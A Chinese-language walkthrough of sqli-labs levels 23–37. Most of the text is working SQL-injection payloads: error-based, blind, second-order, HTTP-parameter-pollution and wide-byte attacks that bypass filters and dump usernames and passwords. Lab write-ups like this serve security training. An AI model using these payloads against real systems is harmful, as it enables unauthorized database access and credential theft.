SQL注入靶场23-37关实战通关攻略
本文将展示sql注入靶场23-37关的通关思路
第二十三关(GET - 报错注入:过滤注释符,用引号闭合)
进入第二十三关发现又回到了GET参数,但是有区别,这关将#和-- qwe等等注释符加入了黑名单,屏蔽掉了。这一关要用其他方法闭合
?id=1' -- qwe1.尽管被屏蔽了,还是要找注入点,不能通过注释符看哪个闭合成功显示,那就反过来看没有注释符时哪个闭合没成功就报错就行,从' ') " ") 等等进行测试,可以发现单引号时报错,所以注入点是单引号
2.既然注释符被屏蔽,就使用闭合后面的单引号的方法,可以发现可以正常显示
' or '1'='13.既然有报错,那就使用报错注入查询数据库,查询到了security库
' and updatexml(1,concat(1,(select database())),1) or '1'='14.查询security库,查询到了表名emails,referers,uagents,users
' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),1) or '1'='15.查询users表里的字段名,查询到了字段名id,username,password
' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),1) or '1'='16.查询users表里的全部数据,由于updatexml函数的局限性,报错只能输出最多32个字符,使用substr函数可以分段查询数据
' and updatexml(1,concat(1,substr((select group_concat(username,':',password) from users),1,32)),1) or '1'='1' and updatexml(1,concat(1,substr((select group_concat(username,':',password) from users),33,64)),1) or '1'='1第二十四关(POST - 二次注入:注册恶意账户,修改密码触发)
第二十四关又转到POST注入,这是一个登录注册和修改密码的代码,这一关需要我们先注册一个恶意账号,登录恶意账号后又可以恶意修改,所以这一关是一个二次注入
登录页面
注册页面
修改页面
1.观察登录页面的sql语句,发现使用mysql_real_escape_string函数对用户密码进行了转义,单引号会被转义成普通字符,所以已知账号admin无法跳过密码验证进行登录
$username = mysql_real_escape_string($_POST["login_user"]); $password = mysql_real_escape_string($_POST["login_password"]);2.在注册页面,观察源码,发现也对单引号进行转义,所以无法通过已知账户创建一个同名账户
$username= mysql_escape_string($_POST['username']) ; $pass= mysql_escape_string($_POST['password']); $re_pass= mysql_escape_string($_POST['re_password']);3.观察修改密码页面,发现对密码都进行转义,但是用户名没有,直接是从session获取的用户名,所以这是一个注入点
$username= $_SESSION["username"]; --直接从session获取 $curr_pass= mysql_real_escape_string($_POST['current_password']); $pass= mysql_real_escape_string($_POST['password']); $re_pass= mysql_real_escape_string($_POST['re_password']);4.观察修改页面的sql语句,发现了是用单引号闭合的,那我们就创建一个单引号闭合的账户admin'#,密码是123456
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";5.使用创建的用户登录,因为用户后面的密码被注释,所以current-pass可以随便填,然后新密码填我们想要的密码,提交后就修改了admin账户的密码了
6.随意修改密码
reset后进行登录,可以发现登录成功了
第二十五关(GET - 报错注入:过滤and/or,双写绕过)
进入第二十五关,映入眼帘的就是大写的or和and,那是不是在说or和and这两个词被屏蔽了
使用and测试时报错,这个错误提示我们sql语句不完整,肯定了and和or被屏蔽了,那就要尝试双写或者使用andor的代替品&&和||
' and 1=1 --+1.如果使用&&来代替的话,需要使用URL编码%26%26,不然会被判定为参数分隔符
所以直接双写来绕过黑名单,简单方便
1' anandd 1=1 --+2.先判断注入点,使用单引号'会报错,加入注释符就会正确显示,说明是单引号闭合
3.既然有报错,那就使用报错注入,查询数据库,查询到了security库
' anandd updatexml(1,concat(1,(select database())),1)--+4.查询security库里的数据表,因为or被屏蔽掉了,information库这个名里有or,所以要双写or
' anandd updatexml(1,concat(1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema = 'security')),1)--+5.查询users表里的字段名,查询到了字段名id,username,password
' anandd updatexml(1,concat(1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema = 'security' anandd table_name = 'users')),1)--+6.查询users表里的全部数据,使用substr函数分段查询
' anandd updatexml(1,concat(1,substr((select group_concat(username,':',passwoorrd) from users),1,32)),1)--+' anandd updatexml(1,concat(1,substr((select group_concat(username,':',passwoorrd) from users),33,64)),1)--+第二十五A关(GET - 报错注入:过滤and/or,双写绕过)
第二十五a是第二十五关的姊妹关卡,都是or和and的屏蔽了,只不过有一点区别,可以看出,错误时没有错误显示,所以用不了报错注入
1.注入点也不同,第二十五关是单引号闭合,但是25a在你输入多少个字符都没有任何输出,更倾向于是一个数字型注入,事实也确实如此
2.找到了注入点,判断字段数为3
?id=1 anandd 1=1 oorrder by 3 --+4.使用联合查询判断回显位置
?id=-1 union select 1,2,3 --+5.查询数据库名,查询到了security库
?id=-1 union select 1,2,database() --+6.查询security库里的数据表,查询到了emails,referers,uagents,users表
?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema = 'security' --+7.查询users表里的字段名
?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema = 'security'%20 anandd table_name = 'users'--+8.查询users表里的全部数据
?id=-1 union select 1,2,group_concat(username,':',password) from users --+第二十六关(GET - 报错注入:过滤and/or、空格、注释,用%0a等绕过)
进去第二十六关就发现它写着过滤了字符和空格,观察源码,发现过滤了好多,包括注释符,空格和or,and。or和and依旧使用双写绕过,闭合使用' or '1'='1,空格使用括号包围来代替
function blacklist($id) { $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes return $id; }1.先判断注入点,使用单引号时报错,用 oorr '1'='1闭合后显示正常,说明时单引号闭合的
' oorr '1'='12.既然有报错,那么就可以使用报错注入,查询到了数据库security库
'anandd(updatexml(1,concat(1,(select(database())),1))oorr'1'='1'anandd(updatexml(1,concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')anandd(table_name='users'))),1))oorr'1'='13.查询security库里的表,查询表名emails,referers,uagents,users表
'anandd(updatexml(1,concat(1, (select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))oorr'1'='14.查询users表里的字段名,查询到了字段名id,username,password
5.查询users表里的全部数据,使用substr分段读取
'anandd(updatexml(1,concat(1,substr((select(group_concat(username,':',passwoorrd))from(users)),1,32)),1))oorr'1'='1'anandd(updatexml(1,concat(1,substr((select(group_concat(username,':',passwoorrd))from(users)),33,64)),1))oorr'1'='1第二十六A关(GET - 时间盲注:过滤and/or、空格、注释,用%0a等绕过)
26a和26关有一点区别,就是没有报错信息了,但是看屏蔽这一块的源码多了一行空格屏蔽?应该是复制粘贴时出错了,因为两行一模一样,既然没有报错,那就使用联合查询
function blacklist($id) { $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes return $id; }1.先找注入点,发现单引号时有报错,闭合时也显示正常,初步认定是单引号闭合,但是到后续时发现,怎么测试都没有反应,我怀疑是不是闭合出错
?id=1'oorr'1'='1这关没有报错信息,那就用时间盲注,因为sql注入的每一关都是security库,为了验证,假设已知security库,使用时间盲注测试数据库第一个字母是不是s,发现条件为真时延迟很长
?id=1'anandd(if((substr((select(database())),1,1)='s'),sleep(2),0)) anandd '1'='1既然单引号闭合失败但是显示会正常,那是不是要考虑是不是有括号闭合,因为如果是括号闭合的话,会先验证括号里有没有出错,也就是先判断'1'or'1'='1'是不是正确的,结果显然是正确的,所以会输出id为1的数据
select username,password from users where id=('1'or'1='1') limit 0,1当你输入时间盲注时会变成,显然这个只会有延迟,三层判断,当if延迟后会返回0,0是false,所以会id=('1' and 0 and '1'='1')=0,所以不会输出数据,而且延迟非常久,延迟取决于users表里有多少数据,很大程度说明闭合失败
select username,password from users where id=('1'anandd(if((substr((select(database())),1,1)='s'),sleep(2),0)) anandd '1'='1') limit 0,1以上可以看出,闭合应该是单引号+括号的闭合,即
?id=1') oorr ('1')=('12.使用时间盲注查询数据库名,发现延迟正确为1秒,更加说明闭合成功,这时打开burpsuite进行爆破
?id=1')anandd(if((substr((select(database())),1,1)='s'),sleep(1),0))anandd('1')=('1在sql靶场时间盲注的intruder模块设置都是一样的,所以不清楚设置的同学请看前面的关卡时间盲注的部分
爆破后按时间排序,延迟最大的就是那几个,组合成security
3.查询security库的表
?id=1')anandd(if((substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),1,1)='s'),sleep(2),0))anandd('1')=('1爆破后查询出表是emails,referers,uagents,users
4.查询users表里的字段名
?id=1')anandd(if((substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')anandd(table_name='users')),1,1)='s'),sleep(2),0))anandd('1')=('1爆破后组合字段名为id,username,password
5.查询users表里的全部数据,先查用户名,再查密码
?id=1')anandd(if((substr((select(group_concat(username))from(users)),1,1)='s'),sleep(2),0))anandd('1')=('1爆破后的数据,将它们组合就行,然后将username改为password就是密码
第二十七关(GET - 报错注入:过滤select/union,大小写绕过)
看进入时的页面,发现给了union和select被禁用的提示词,这是不是说明这一关也是屏蔽词。看源码可以发现,在26关的基础上多了union和select的屏蔽词,但是可以发现就只是限制了一些大小写,与26不同的时少了and和or这类连接词的屏蔽语句,这两个select和union都可以用大小写绕过,其他的与上一关一样
function blacklist($id) { $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out --. $id= preg_replace('/[#]/',"", $id); //Strip out #. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/select/m',"", $id); //Strip out spaces. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/union/s',"", $id); //Strip out union $id= preg_replace('/select/s',"", $id); //Strip out select $id= preg_replace('/UNION/s',"", $id); //Strip out UNION $id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT $id= preg_replace('/Union/s',"", $id); //Strip out Union $id= preg_replace('/Select/s',"", $id); //Strip out select return $id; }1.既然注释符被屏蔽,就使用永真句闭合查看注入点,输入?id=1'时报错,同时使用1' or '1'='1闭合时无报错,这是不是说明是单引号闭合的?但是参考26a的闭合,有没有可能是单引号加括号闭合的,试验一下发现会报错,那单引号闭合就对了
1' or '1'='11') or ('1')=('12.既然有报错,那就使用报错注入,先查询数据库名,使用大小写select绕过,查询出数据库security
1' and (updatexml(1,concat(1,(SELEct(database()))),1))or '1'='13.继续查询security库里的数据表,查询出emails,referers,uagents,users表
1' and (updatexml(1,concat(1,(SELEct(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or '1'='14.查询users表里的字段名,查询出id,username,password三个字段名
1' and (updatexml(1,concat(1,(SELEct(group_concat(column_name))from(information_schema.columns)where(table_schema='security')and(table_name='users'))),1))or '1'='15.查询users表里的全部数据,使用substr函数分段查询
1' and (updatexml(1,concat(1,substr((SELEct(group_concat(username,':',password))from(users)),1,32)),1)) or '1'='11' and (updatexml(1,concat(1,substr((SELEct(group_concat(username,':',password))from(users)),33,64)),1)) or '1'='1第二十七A关(GET - 报错注入:过滤select/union,大小写绕过)
与第二十七关一样,屏蔽都是一样的,只不过就是不给报错信息了 ,解决方法都是一样的
1.先判断是什么闭合的,发现使用双引号时没有显示,使用永真句闭合后有显示信息,初步判断是双引号闭合的,然后再判断有没有括号,使用括号没显示信息,那就是双引号闭合的
1" or "1"="11") or ("1")=("12.使用%0a代替%00空格(如果使用的是火狐浏览器可能会失效,建议使用google),然后查询字段数
"%0aORDER%0aBY%0a1%0aor"1"="1 "%0aORDER%0aBY%0a2%0aor"1"="1 "%0aORDER%0aBY%0a3%0aor"1"="1 "%0aORDER%0aBY%0a4%0aor"1"="1 -->报错,说明字段数是33.找出字段数是3,使用联合查询来找出查看回显位置,由于-被屏蔽掉,所以使用超级大的数来让数据库查不到数据
100"%0aUNIOn%0aSELEct%0a1,2,3%0aor"1"="14.查询数据库名
100"%0aUNIOn%0aSELEct%0a1,database(),3%0aor"1"="15.查询security库里的表,查到出emails,referers,uagents,users表
100"%0aUNIOn%0aSELEct%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'%0aorder%0aby%0a3%0aor%0a"1"="16.查询user表里的字段名,查询出id,username,password三个字段名
100"%0aUNIOn%0aSELEct%0a1,2,group_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schema=%27security%27%0aand%0atable_name=%27users%27%0aorder%0aby%0a3%0aor%0a"1"="17.查询users表里的数据
100"%0aUNIOn%0aSELEct%0a1,2,group_concat(username,%27:%27,password)%0afrom%0ausers%0aorder%0aby%0a3%0aor%0a"1"="1第二十八关(GET - 联合查询:过滤union select组合,双写加特殊字符绕过)
进入28关,看到了与27关相像的提示词,就是union和select被屏蔽了,观察源码可以发现,这个与27不同的是,union select后面有个/i,说明大小写也被过滤了,所以可以尝试双写绕过,其他的与上一关一样,空格使用%0a,注释符使用永真式
function blacklist($id) { $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out --. $id= preg_replace('/[#]/',"", $id); //Strip out #. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. //$id= preg_replace('/select/m',"", $id); //Strip out spaces. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT. return $id; }1.先找闭合,通过永真式闭合来验证,使用单引号时有报错,然后使用1' or '1'='1时显示数据,初步认为是单引号,再验证单引号加括号能不能显示,发现也能够显示,说明闭合方式是单引号加括号
1') or ('1')=('12.先查询字段数
"%0aORDER%0aBY%0a1%0aor"1"="1 "%0aORDER%0aBY%0a2%0aor"1"="1 "%0aORDER%0aBY%0a3%0aor"1"="1 "%0aORDER%0aBY%0a4%0aor"1"="1 -->报错,说明字段数是33.使用双写union+select绕过来判断回显位置
100')%0aunionunion%0aselect%0aselect%0a1,2,3%0aor%0a('1')=('14.查询数据库,数据库名是security
100')%0aunionunion%0aselect%0aselect%0a1,database(),2%0aor%0a('1')=('15.查询security库里的数据表,查询到了emails,referers,uagents,users表
100')%0aunionunion%0aselect%0aselect%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'%0aorder%0aby%0a3%0aor%0a('1')=('16.查询users表里的字段名,查询到了id,username,password
100')%0aunionunion%0aselect%0aselect%0a1,2,group_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users'%0aorder%0aby%0a3%0aor%0a('1')=('17.查询users表里的全部数据
100')%0aunionunion%0aselect%0aselect%0a1,2,group_concat(username,':',password)%0afrom%0ausers%0aorder%0aby%0a3%0aor%0a('1')=('1第二十八A关(GET - 联合查询:过滤union select组合,双写加特殊字符绕过)
进入第28a关,看到页面上大大的提示词,only union and select,这是不是说明只有过滤这个union select,观察源码,发现就给union select进行过滤,这就好简单了,甚至跟前面1-10关的没区别,只是双写union select就行,参考第28关,然后闭合使用注释符,注入点是')
function blacklist($id) { //$id= preg_replace('/[\/\*]/',"", $id); //strip out /* //$id= preg_replace('/[--]/',"", $id); //Strip out --. //$id= preg_replace('/[#]/',"", $id); //Strip out #. //$id= preg_replace('/[ +]/',"", $id); //Strip out spaces. //$id= preg_replace('/select/m',"", $id); //Strip out spaces. //$id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces. return $id; }第二十九关(GET - 联合查询:参数污染,WAF绕过)
在通关第29关的时候,发现与sqllab第一关一模一样,甚至比如第二关的难度,这是不是说明这关的环境配置出错了,并没有提示词说的世界上最好的防火墙
可以使用JSPstudy
jspstudy下载连接:Windows版phpstudy下载 - 小皮面板(phpstudy)
或者直接使用安装好的tomcat,我这边使用安装好的tomcat
在sqli-lab页面下有个tomcat-file.zip的压缩包,解压到tomcat文件下的webapps,最后在webapps/sqli-labs/less-29/index.jsp下,输入phpstudy的地址
string url="http://localhost/sqli-labs/less-29";最后看页面显示正常,接下来29-32关都需要tomcat,注意要使用tomcat占用的端口号
http://localhost:8080/sqli-labs/less-29/index.jsp?id=1现在在第29关的根目录下直接访问id=1的,会发现跳到了hacked.jsp
http://localhost:8080/sqli-labs/less-29/?id=11.使用HTTP参数污染(HPP),就是使用两个id参数来骗过服务器,WAF会校验第一个id参数,而apache会校验最后一个id参数,我们就可以使用两个id,只对最后一个id进行注入
先查找注入点,使用最基础的从单引号到双引号加括号,使用注释符--+,最后得出使用单引号时报错,注释后显示数据,说明注入点是单引号
index.jsp?id=1&id=1'--+2.查找字段数
index.jsp?id=1&id=1'order by 1--+ index.jsp?id=1&id=1'order by 2--+ index.jsp?id=1&id=1'order by 3--+ index.jsp?id=1&id=1'order by 4--+ -->报错,说明字段数为33.查询回显位置
index.jsp?id=1&id=-1' union select 1,2,3--+4.查询数据库,查询到数据库名security
index.jsp?id=1&id=-1' union select 1,2,database()--+5.查询security库里的数据表,查询出emails,referers,uagents,users表
index.jsp?id=1&id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+6.查询users表里的字段名
index.jsp?id=1&id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+7.查询users表里的所有数据
index.jsp?id=1&id=-1' union select 1,2,group_concat(username,':',password) from users--+第三十关(GET - 联合查询:参数污染,双引号闭合)
第三十关与第二十九只是闭合方式不同,30是双引号闭合,29是单引号闭合,只不过30没有报错信息,但是显示数据,用不到报错注入,所以按29关的方法可以搞定
第三十一关(GET - 联合查询:参数污染,双引号加括号闭合)
闭合方式不同,这一关是")闭合,可以使用报错注入
第三十二关(GET - 联合查询:宽字节注入,逃逸转义符)
32关又回到了最熟悉的get传参,这一关不用使用两个参数来绕过前端WAF,输入发现,这一关将单引号进行转义,变成\'了,也就是%5c%27,在mysql中汉字是占两个字节的,我们可以在输入id=1的时候在后面补充一个字节,让这个字节和反斜杠\%5c组成一个汉字,比如我们输入%df%5c就会变成一个汉字'運',这就是宽字节注入
1.既然有方法,那就先来判断闭合类型,使用单引号有报错,再注释后面发现显示正常,说明闭合类型是单引号
?id=1%df' 就变成 ?id=1%df%5c'2.查询字段数
?id=1%df' order by 1 --+ ?id=1%df' order by 2 --+ ?id=1%df' order by 3 --+ ?id=1%df' order by 4 --+ -->报错,说明字段数为34.查询回显位置
?id=-1%df' union select 1,2,3 --+5.查询数据库名,数据库名为security
?id=-1%df' union select 1,2,database() --+6.查询security库里数据表,既然单引号会被转义,再使用%df会让'security'被污染,所以用security的十六位进制值0x7365637572697479来表示
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+7.查询users表里的字段名,同样使用users的十六位进制值0x7573657273来表示users
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273--+8.查询users表里的全部数据
?id=-1%df' union select 1,2,group_concat(username,password) from users --+第三十三关(GET - 联合查询:宽字节注入,原理同Less-32)
第33与第32关一模一样,直接按32关走就行
第三十四关(POST - 联合查询:宽字节注入,POST版)
34关又回到了这个POST传参,与前两关相同的是,还是对单引号进行转义成\',所以还是使用宽字节注入,但是与前两关不同的是,POST参数的处理方式与GET参数不同,它会将%传为普通字符编码为%25再输出,所以%df\会被转义成%25df%5c,%df被破坏了,所以要用Burpsuite抓包来进行宽字节注入,不能用浏览器来注入
1.先找闭合类型,使用'/"/')/")不断尝试,使用burp抓包输入后的包,然后发送到repeater模块,修改uname,重新发包,可以看到成功显示数据了,使用单引号时报错,闭合后显示数据,说明注入点是单引号。
1%df' or 1=1#2.查看字段数
1%df' order by 1# 1%df' order by 2# 1%df' order by 3# --> 报错,说明字段数为23.查询回显位置
1' union select 1,2#4.查询数据库名
1%df' union select 1,database()#5.查询security库里的数据表
1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479#6.查询users表里的字段名
1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273#7.查询全部数据
1%df' union select 1,group_concat(username,password) from users#第三十五关(GET - 联合查询:宽字节注入,数字型)
35关也是宽字节注入,但是这一关连宽字节都不要,直接就是一个数字型注入,跟sql第二关一模一样,单引号转义了个寂寞,也就数据库表啥的单引号会被转义,但是像32,33一样用十六进制值就行
第三十六关(GET - 联合查询:宽字节注入,原理同Less-32)
第36关也是对单引号进行转义\',与32,33没什么区别,都是单引号闭合
第三十七关(POST - 联合查询:宽字节注入,POST版,原理同Less-34)
第37和34关都是POST参数的单引号转义,解题方法一样都是在burp上修改参数而不是在表单提交上,可以完全照抄34关
